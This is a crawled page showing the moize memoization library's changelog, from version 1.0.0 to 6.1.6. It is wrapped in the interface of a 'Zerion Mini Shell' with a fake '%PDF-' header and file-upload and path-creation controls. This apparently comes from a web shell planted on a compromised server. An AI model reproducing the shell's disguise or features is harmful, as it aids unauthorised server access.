%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/specpages-backup/node_modules/moize/
Upload File :
Create Path :
Current File : //www/specpages-backup/node_modules/moize/CHANGELOG.md

# moize CHANGELOG

## 6.1.6

-   [#196](https://github.com/planttheidea/moize/issues/196) - Fix `mjs` typing not flowing through due to deep-linking ignoring `index.d.ts`

## 6.1.5

-   [#186](https://github.com/planttheidea/moize/issues/186) - Avoid type issues when using in project where React is unused

## 6.1.4

-   [#184](https://github.com/planttheidea/moize/issues/184) - Fix pass-through typing for `micro-memoize` dependency

## 6.1.3

-   [#179](https://github.com/planttheidea/moize/issues/179) - Invalid types for namespace methods which give the impression that chaining of those methods is possible

## 6.1.2

-   [#176](https://github.com/planttheidea/moize/issues/176) - Remove use of `new Error().stack` in derivation of fallback `profileName`, due to potential for OOM crashes in specific scenarios

## 6.1.1

-   Update `fast-equals` to latest major version

## 6.1.0

-   [#161](https://github.com/planttheidea/moize/issues/161) - Provide custom function name when supported

## 6.0.3

-   [#153](https://github.com/planttheidea/moize/issues/153) - Fix ESM/CommonJS cross-compatibility issues in NextJS

## 6.0.2

-   Update dependencies to latest (`fast-equals` in particular to prevent surfacing of [an issue it faced](https://github.com/planttheidea/fast-equals/pull/41))

## 6.0.1

-   [#146](https://github.com/planttheidea/moize/issues/146) - Fix reading deprecated properties on function object

## 6.0.0

**BREAKING CHANGES**

-   `moize` v5 and below had a default cache size of `Infinity`, however starting with v6 the default cache size will be `1`. If you want to maintain a cache history of multiple entries, it is recommended to use `moize.maxSize` to set the size of history desired. To replicate usage from v5 and below, use `moize.infinite`.
-   `isReact` option and `moize.react` shorthand method now memoizes on a per-instance basis (previously shared cache across all instances).
-   `moize.simple` and `moize.reactSimple` have been removed due to default cache size being 1.
-   `isSerialized` option and `moize.serialize` shorthand method will now serialize functions by default.
-   `shouldSerializeFunctions` option has been removed, as serializing functions is now the default.
-   `equals` option has been renamed to `matchesArg` for alignment with `matchesKey`.

**ENHANCEMENTS**

-   New options:
    -   `isShallowEqual` (compares each arg in the `key` based on shallow equality)
    -   `updateCacheForKey` (if truthy value returned, will update the cached value for the given `key`)
-   New shorthand methods:
    -   `moize.infinite` (shorthand for `maxSize` option set to `Infinity`)
    -   `moize.matchesArg` (shorthand for `matchesArg` option)
    -   `moize.matchesKey` (shorthand for `matchesKey` option)
    -   `moize.serializeWith` (shorthand for `isSerialized` and `serializer` option)
    -   `moize.shallow` (shorthand for `isShallowEqual` option)
    -   `moize.transformArgs` (shorthand for `transformArgs` option)
    -   `moize.updateCacheForKey` (shorthand for `updateCacheForKey` option)

**INTERNALS**

-   Rewritten in TypeScript, with much better type declarations.
-   Changed unit test framework to `jest`
-   Used latest external dependencies for better ESM support in Node 14

## 5.4.7

-   Fix ESM usage in NodeJS 14 [#128](https://github.com/planttheidea/moize/issues/128) (thanks [@tozz](https://github.com/tozz))

## 5.4.6

-   Fix issue where `setTimeout` causes processes to hang in NodeJS [#122](https://github.com/planttheidea/moize/issues/122)

## 5.4.5

-   Improve TypeScript typings

## 5.4.4

-   Fix export in TypeScript declarations([#105](https://github.com/planttheidea/moize/pull/105))

## 5.4.3

-   Improve typings for TypeScript ([#103](https://github.com/planttheidea/moize/pull/103))

## 5.4.2

-   Ignore when `maxArgs` or `maxSize` arguments are negative

## 5.4.1

-   Upgrade to `babel@7`
-   Add `"sideEffects": false` to `package.json` for better tree-shaking in `webpack`

## 5.4.0

-   Add ESM support for NodeJS with separate [`.mjs` extension](https://nodejs.org/api/esm.html) exports

## 5.3.2

**BUGFIXES**

-   Bump `micro-memoize` dependency to fix recursive race condition issue

## 5.3.1

**BUGFIXES**

-   Clean up logic surrounding `update` function to not unnecessarily assign the value twice

## 5.3.0

**NEW FEATURES**

-   Add the [`moized.update`](README.md#updatekey-value) method for direct cache manipulation

## 5.2.3

**BUGFIXES**

-   Actually fix the issue that `5.2.2` was supposed to fix (appreciate the persistence [@vlad-zhukov](https://github.com/vlad-zhukov))

## 5.2.2

**BUGFIXES**

-   Fix issue where manually removing a key from `cache` would not clear / remove the expiration timeout

## 5.2.1

**BUGFIXES**

-   Fix `Object.assign` usage on functions (derp)

## 5.2.0

**NEW FEATURES**

-   Add `collectStats` as a convenience method on the main `moize` object

**BUGFIXES**

-   Fix naming convention for determining if statistics are being collected on the `moize`d function (`isCollectingStats` now, was mistakenly `collectStats` before)

## 5.1.2

**BUGFIXES**

-   Reference the correct option name for `micro-memoize` (isMatchingKey) instead of `moize` (matchesKey) for instance methods (oops)

## 5.1.1

**BUGFIXES**

-   Ensure instance methods that update the cache work correctly with new `matchesKey` option

## 5.1.0

**NEW FEATURES**

-   Add [`matchesKey`](#matcheskey) option
-   Change `isSerialized` to use `matchesKey` with custom `isMatchingKey` instead of standard `isEqual`

**BUGFIXES**

-   Prevent `isDeepEqual` from being passed to the `micro-memoize` options

## 5.0.1

-   Include `fast-equals` as an explicit dependency

## 5.0.0

-   Complete refactor to leverage [`micro-memoize`](https://github.com/planttheidea/micro-memoize) under the hood (doubles the speed, and allows for more functionality)

**BREAKING CHANGES**

-   The default `equals` option now uses [SameValueZero](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero) equality instead of strict equality
-   `equals` option is now performed iteratively on each argument in the key, rather on the key as a whole
    -   `matchesKey` option now performs the full-key comparison that `equals` did in v4
-   `serialize` option has been changed to `isSerialized`
-   `serializeFunctions` option has been changed to `shouldSerializeFunctions`
-   CommonJS consumers must now use `require('moize').default`
-   The shape of the `cache` object has changed
    -   If you were modifying it directly instead of using the [convenience methods](#direct-cache-manipulation), you may experience breakages
-   `moize.promise` now sets both `isPromise` and `updateExpire` options (v4 and below only set `isPromise`)
-   When `isPromise` is `true` and a `maxAge` is applied, the `maxAge` now begins when the function is created rather than the resolution of the promise
    -   If you want the `maxAge` to apply upon resolution, then either set the `updateExpire` option or use the `moize.promise` convenience method

**NEW FEATURES**

-   Deep equality now available without custom `equals` function (either [`isDeepEqual`](README.md#isdeepequal) option, or [`moize.deep`](README.md#moizedeep) convenience method)
-   Statistics can now be collected for both global and method-specific contexts (see [Collecting statistics](#collecting-statistics) and [`profileName`](README.md#profilename))
-   Statistics-based introspection methods exist to support reading stats
    -   [`getStats`](README.md#getstats) will get the stats for the `profileName` passed, or if none is passed then gets the global stats
    -   [`isCollectingStats`](README.md#iscollectingstats) returns whether stats are being collected
-   Cache change listeners are now available to listen for changes
    -   [`onCacheAdd`](README.md#oncacheadd) will fire when a new entry is added to the cache
    -   [`onCacheChange`](README.md#oncachechange) will fire when the cache is added to or the LRU order has changed
    -   [`onCacheHit`](README.md#oncachehit) will fire when an existing entry in cache is used

**BUGFIXES**

-   `isPromise` methods that resolved had the values re-wrapped in a new promise, which obfuscated chaining on the method (now the original promise is maintained)
-   Internal de-circularizer for serialized methods was flaky in deeply-nested scenarios (now uses [`json-stringify-safe`](https://github.com/moll/json-stringify-safe))

**DEPRECATIONS**

-   `promiseLibrary` is no longer a supported option (it is no longer needed, as the original promise is now maintained)

## 4.0.4

-   Add `default` property to `moize` which points to itself, allowing TypeScript to import correctly as an ES module

## 4.0.3

-   Fix issue where items manually added to cache did not have the same options (`maxAge`, `maxSize`, etc.) applied to them as those added to cache through function call

## 4.0.2

-   Remove duplicate internal method

## 4.0.1

-   Update issue where `onExpire` was firing prior to removal of the key from cache

## 4.0.0

-   Add programmatic update of expiration based on return from `onExpire`

**BREAKING CHANGES**

-   `onExpire` will update the expiration if `false` is returned
    -   In prior versions, the return of `onExpire` was ignored entirely

## 3.5.0

-   Add `updateExpire` option, which if true will reset the expiration countdown based on `maxAge` when a cached value for that key has been hit
-   Update TypeScript typings (thanks @Joshuaweiss)

## 3.4.2

-   Remove unneeded constants declarations for smaller footprint

## 3.4.1

-   Remove code duplication and unnecessary cache key segregation (reduced library size by ~10.6%)
-   Improve Flow typings (no longer driven off of TypeScript typings)

## 3.4.0

-   Add `onExpire` callback that fires when a cache item expires

## 3.3.1

-   Fix TypeScript definitions with correct declarations (thanks @iHaiduk)

## 3.3.0

-   Add `es` transpilation in addition to standard `lib`, preserving ES2015 modules for [`pkg.module`](https://github.com/rollup/rollup/wiki/pkg.module)

## 3.2.2

-   Refactor `ReactCacheKey` to double the speed (yes, double)

## 3.2.1

-   Fix issue where `MultipleParameterCacheKey` and `ReactCacheKey` were not applying `equals` correctly

## 3.2.0

-   Add `transformArgs` option, which allows trasformation of the arguments prior to being used as a key

## 3.1.2

-   Fix `clear` referencing incorrect object
-   Fix `equals` not using `matchesCustom` when used in conjunction with `serialize`

## 3.1.1

-   BAD PUBLISH - do not use!

## 3.1.0

-   New: add `isMoized` introspection method
-   New; add FlowType declarations based on TypeScript typings
-   New: add `prettier` to project, with pre-commit hooks to format the code
-   Fix: only serialize key once when attempting to match in cache (was serializing on every iteration)

## 3.0.2

-   Improve performance of `take` by making it a higher-order function

## 3.0.1

-   Update TypeScript typings to include new `equals` option

## 3.0.0

-   Improve performance of multiple parameter cache matching (~3x faster)
-   Improve performance of `react` functional component cache matching (~9.5x faster)
-   Improve performance of serialized parameter cache matching (~1.5x faster)
-   Improve performance of use with `maxArgs`
-   Add `equals` option for ability to provide custom equality comparison method
-   Add `moize.reactSimple` shortcut method to limit `react` cache size to `1` (mimics the `PureComponent` optimization)
-   Add `isReact` option for simpler `react` configuration via `options`
-   Fix issue where `moize` was only able to curry `options` once
-   Fix issue with `react` cache where different functions with identical names / body contents were seen as equal
-   Fix issue where `maxArgs` was not always respected for `serialize` caches

**BREAKING CHANGES**

-   Custom `cache` is no longer available in `options`
-   `moize.react` now performs a shallow equal comparison of `props` and `context` instead of deep value comparison
    -   If you want to perform a deep value equality comparison (if you are mutation props, for example), pass a deep equality comparison method via the `equals` option such as `lodash`'s `isEqual`
    -   If you want to continue using the v2 version of `moize.react`, you can manually apply the options: `moize.serialize(fn, {maxArgs: 2, serializeFunctions: true})`
-   The direct cache manipulation `delete` method has been renamed to `remove`
-   The direct cache manipulation `hasCacheFor` method has been renamed to `has`
-   The `key` passed to direct cache manipulation methods (`add`, `has`, `remove`) must now be an array
    -   The array reflects the arguments passed to the method (`moized.hasCacheFor('foo', 'bar')` => `moized.has(['foo', 'bar'])`)

## 2.5.1

-   Surface types for TypeScript correctly

## 2.5.0

-   Add TypeScript definitions (thanks [vhfmag](https://github.com/vhfmag))
-   Skip unneeded first entry iteration when getting the multi-parameter key or finding the index of a key

## 2.4.1

-   Make positive integer checker use regex instead of bitwise operation

## 2.4.0

-   Add `hasCacheFor` method to determine if the memoized function has cache for given arguments

## 2.3.3

-   Remove unneeded iterator key generator method
-   Various micro-optimizations

## 2.3.2

-   Add `lodash-webpack-plugin` for smaller `dist` builds

## 2.3.1

-   Streamline the creation of curriable shortcuts (`moize.maxAge`, `moize.maxSize`)
-   Add curriable shortcut for `moize.maxArgs` (missed in initial release)

## 2.3.0

-   More options have shortcut methods
    -   `maxAge`
        -   Curried method (example: `moize.maxAge(5000)(method)`)
    -   `maxSize`
        -   Curried method (example: `moize.maxSize(5)(method)`)
    -   `promise` (shortcut for `isPromise: true`)
    -   `serialize`
    -   `simple` (shortcut for `maxSize: 1`)
-   `moize` functions are now composable (example usage: `moize.compose(moize.react, moize.simple)`)

## 2.2.3

-   Simplify internal vs custom cache recognition
-   Typing and documentation cleanup

## 2.2.2

-   Abstract out `promiseResolver` and `promiseRejecter` into separate testable functions
-   Various code cleanups and typing enhancements

## 2.2.1

-   Fix issue with `delete` checking `size` of the `Cache` before it had actually updated

## 2.2.0

-   Added `promiseLibrary` option to allow use of custom promise implementation
-   Bolster `isPromise` logic, auto-removing from cache when the promise is rejected
-   Update README for more detailed information on both `isPromise` and `promiseLibrary` options
-   Convert `Cache` key iteration to use custom iterator instead of standard loop for more stable iteration

## 2.1.6

-   Code cleanup

## 2.1.5

-   Fix issue where `delete` would always set the `lastItem` to `undefined` even when items still remained in cache

## 2.1.4

-   Move multiple-parameter key matching to cache (allows for custom `cache` to have its own implementation)
-   Update documentation for the custom `cache` implementation, as it requires `getMultiParamKey` now, plus give a better example of an alternative `cache`
-   Make `keys()` and `values()` methods no-ops when cache implementation is custom
-   Make `deleteItemFromCache` method safe with custom `cache` implementations

## 2.1.3

-   Enhance `Cache` more for multiple-parameter functions (now benchmarks faster in all categories)

## 2.1.2

-   Have `areArraysShallowEqual` use `isEqual` instead of strict equality to allow for `NaN` as key

## 2.1.1

-   Optimize cache class to be more efficient in both `has` and `get` operations
-   Fix issue with `delete` that was preventing delete of falsy keys

## 2.1.0

-   Add `add` method on cache to allow for manual cache insertion

## 2.0.3

-   Ensure `maxArgs` is respected for unserialized functions
-   Change the arguments length check from `=== 1` to `>` so that zero arguments (`undefined` key) pulls from cache directly instead of tries to go through key matching for multiparam

## 2.0.2

-   Prevent memoization on `moize.react` based on third parameter to functional components (object of all internal react functions)

## 2.0.1

-   Fix static types applied to functional components not being applied to memoized component

## 2.0.0

-   Refactor to use object equality instead of serialization (vast speed improvements over 1.x.x with multiple parameters)

**BREAKING CHANGES**

-   If you were relying on the serialization (using value equality instead of object equality), it will no longer memoize (you can set `serialize: true` if you want to continue using that option)
-   If you were using `moize` to memoize React components, you should change your invocations from `moize` to `moize.react` ([see README](README.md#usage-with-functional-react-components))

## 1.5.0

-   Add `values` method on memoized function (gets list of computed values stored in cache)
-   Fix issue with `clear` method not being present on `Cache`

## 1.4.5

-   Switch to using Cache for caching instead of native Map (was previously only used for polyfilling, but is twice as fast ... I feel silly for not testing its performance prior)
-   Simplify and optimize Cache to crank out as much speed as possible

## 1.4.4

-   Add `displayName` property to memoized function for better display of memoized `react` components in DevTools
-   Throw a `TypeError` when the parameter passed to moize is not a function

## 1.4.3

-   Move internal serializer generation to utils, for further partial application leveraging

## 1.4.2

-   Leverage partial functions in a number of places (less arguments passed around, improves performance by ~6%)

## 1.4.1

-   Correct README error explaining `serializeFunctions` option

## 1.4.0

-   Add `serializeFunctions` option

## 1.3.3

-   Ensure all numeric parameters (`maxAge`, `maxArgs`, `maxSize`) are a finite positive integer

## 1.3.2

-   Replace array-based decycle with Map (performance on circular objects)

## 1.3.1

-   Fix README errors

## 1.3.0

-   Add keys method to memoized function, to know the size and also get keys for potential deletion
-   Update decycle method with modern techniques and helper functions for better circular reference performance

## 1.2.0

-   Add `maxArgs` configuration option to limit the number of arguments to use in the key creation for cache

## 1.1.2

-   Remove external dependencies in favor of local `Cache` and `decycle` implementation (smaller bundle size)

## 1.1.1

-   Make handling of circular handling automatic by stringifying in `try` / `catch`, and remove manual `isCircular` configuration option

## 1.1.0

-   Add `cycle` dependency to handle circular objects
-   Add `clear` and `delete` methods on the memoized function to allow for direct cache manipulation

## 1.0.3

-   Remove warning related to `map-or-similar` dependency consumption

## 1.0.2

-   Remove no-longer-needed dependencies

## 1.0.1

-   Remove unneeded folders and files from npm package

## 1.0.0

-   Initial release

Zerion Mini Shell 1.0